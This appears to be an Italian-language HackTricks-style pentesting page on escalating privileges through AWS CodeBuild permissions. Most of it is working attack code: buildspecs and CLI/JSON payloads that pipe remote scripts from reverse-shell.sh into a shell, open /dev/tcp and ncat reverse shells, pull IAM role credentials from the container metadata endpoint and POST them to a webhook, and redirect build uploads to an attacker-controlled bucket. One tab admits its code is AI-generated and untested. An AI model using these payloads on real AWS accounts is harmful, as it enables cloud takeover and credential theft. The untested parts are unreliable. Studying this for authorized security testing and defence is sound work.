15 KiB
AWS - Codebuild Privesc
{{#include ../../../../banners/hacktricks-training.md}}
codebuild
Ulteriori informazioni in:
{{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}}
codebuild:StartBuild | codebuild:StartBuildBatch
Basta una di queste autorizzazioni per avviare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:
{{#tabs }} {{#tab name="StartBuild" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }}
{{#tab name="StartBuildBatch" }}
cat > /tmp/buildspec.yml <<EOF
version: 0.2
batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF
aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
{{#endtab }} {{#endtabs }}
Nota: La differenza tra questi due comandi è che:
StartBuildavvia un singolo job di build usando uno specificobuildspec.yml.StartBuildBatchpermette di avviare un batch di build, con configurazioni più complesse (per esempio eseguire più build in parallelo).
Impatto Potenziale: Direct privesc to attached AWS Codebuild roles.
StartBuild Env Var Override
Anche se non puoi modificare il progetto (UpdateProject) e non puoi sovrascrivere il buildspec, codebuild:StartBuild permette comunque di sovrascrivere le env vars durante la build tramite:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
Se la build usa variabili d'ambiente per controllare il comportamento (destination buckets, feature flags, proxy settings, logging, ecc.), questo può essere sufficiente per exfiltrate secrets a cui il build role può accedere o per ottenere code execution all'interno della build.
Esempio 1: Reindirizzare Artifact/Upload Destination per Exfiltrate Secrets
Se la build pubblica un artifact in un bucket/path controllato da una env var (per esempio UPLOAD_BUCKET), sovrascrivila con un bucket controllato dall'attaccante:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Esempio 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
Se la build esegue python3 (comune nei buildspecs), a volte puoi ottenere l'esecuzione di codice senza toccare il buildspec abusando di:
PYTHONWARNINGS: Python risolve il campo category e importerà percorsi separati da punti. Impostarlo su...:antigravity.x:...forza l'importazione del modulo stdlibantigravity.antigravity: chiamawebbrowser.open(...).BROWSER: controlla cosa eseguewebbrowser. Su Linux è separato da:. L'uso di#%strasforma l'argomento URL in un commento di shell.
Questo può essere usato per stampare le credenziali del ruolo CodeBuild (da http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) nei log di CloudWatch, quindi recuperarle se hai i permessi di lettura dei log.
Espandibile: StartBuild JSON request per il PYTHONWARNINGS + BROWSER trick
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Un attaccante con le autorizzazioni iam:PassRole, codebuild:CreateProject, e codebuild:StartBuild o codebuild:StartBuildBatch sarebbe in grado di escalate privileges to any codebuild IAM role creando uno in esecuzione.
{{#tabs }} {{#tab name="Example1" }}
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
{{#endtab }}
{{#tab name="Example2" }}
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60
# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#tab name="Example3" }}
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}
# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json
# Start a build with the new project
aws codebuild start-build --project-name user-project-1
# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
{{#endtab }} {{#endtabs }}
Impatto potenziale: privesc diretto a qualsiasi ruolo AWS Codebuild.
Warning
In un Codebuild container il file
/codebuild/output/tmp/env.shcontiene tutte le env vars necessarie per accedere alle metadata credentials.
Questo file contiene la env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URIche contiene il URL path per accedere alle credenziali. Sarà qualcosa del tipo/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420
Aggiungilo all'URL
http://169.254.170.2/e sarai in grado di dump le credenziali del ruolo.
Inoltre contiene anche la env variable
ECS_CONTAINER_METADATA_URIche contiene l'URL completo per ottenere le metadata info about the container.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Come nella sezione precedente, se invece di creare un build project puoi modificarlo, puoi indicare l'IAM Role e steal the token
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Impatto potenziale: privesc diretto a qualsiasi AWS Codebuild role.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Come nella sezione precedente ma senza il permesso iam:PassRole, puoi abusare di queste autorizzazioni per modificare progetti Codebuild esistenti e accedere al role che è già assegnato.
{{#tabs }} {{#tab name="StartBuild" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
{{#endtab }}
{{#tab name="StartBuildBatch" }}
REV_PATH="/tmp/codebuild_pwn.json"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
printf "$JSON" > $REV_PATH
# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }} {{#endtabs }}
Impatto potenziale: Direct privesc ai ruoli AWS Codebuild allegati.
SSM
Avere sufficienti autorizzazioni per avviare una ssm session rende possibile accedere all'interno di un Codebuild project durante la build.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
E poi:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
For more info check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Un attacker in grado di avviare/riavviare una build di uno specifico progetto CodeBuild che memorizza il suo file buildspec.yml in un bucket S3 su cui l'attacker ha write access, può ottenere command execution nel processo CodeBuild.
Note: l'escalation è rilevante solo se il CodeBuild worker ha un role diverso, idealmente più privilegiato, rispetto a quello dell'attacker.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Puoi usare qualcosa di simile a questo buildspec per ottenere una reverse shell:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Impatto: Privesc diretto al ruolo usato dal worker di AWS CodeBuild che solitamente ha privilegi elevati.
Warning
Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe download, unzip, modify the
buildspec.ymlfrom the root directory, zip again and upload
Ulteriori dettagli sono disponibili qui.
Impatto potenziale: Privesc diretto ai ruoli AWS Codebuild associati.
{{#include ../../../../banners/hacktricks-training.md}}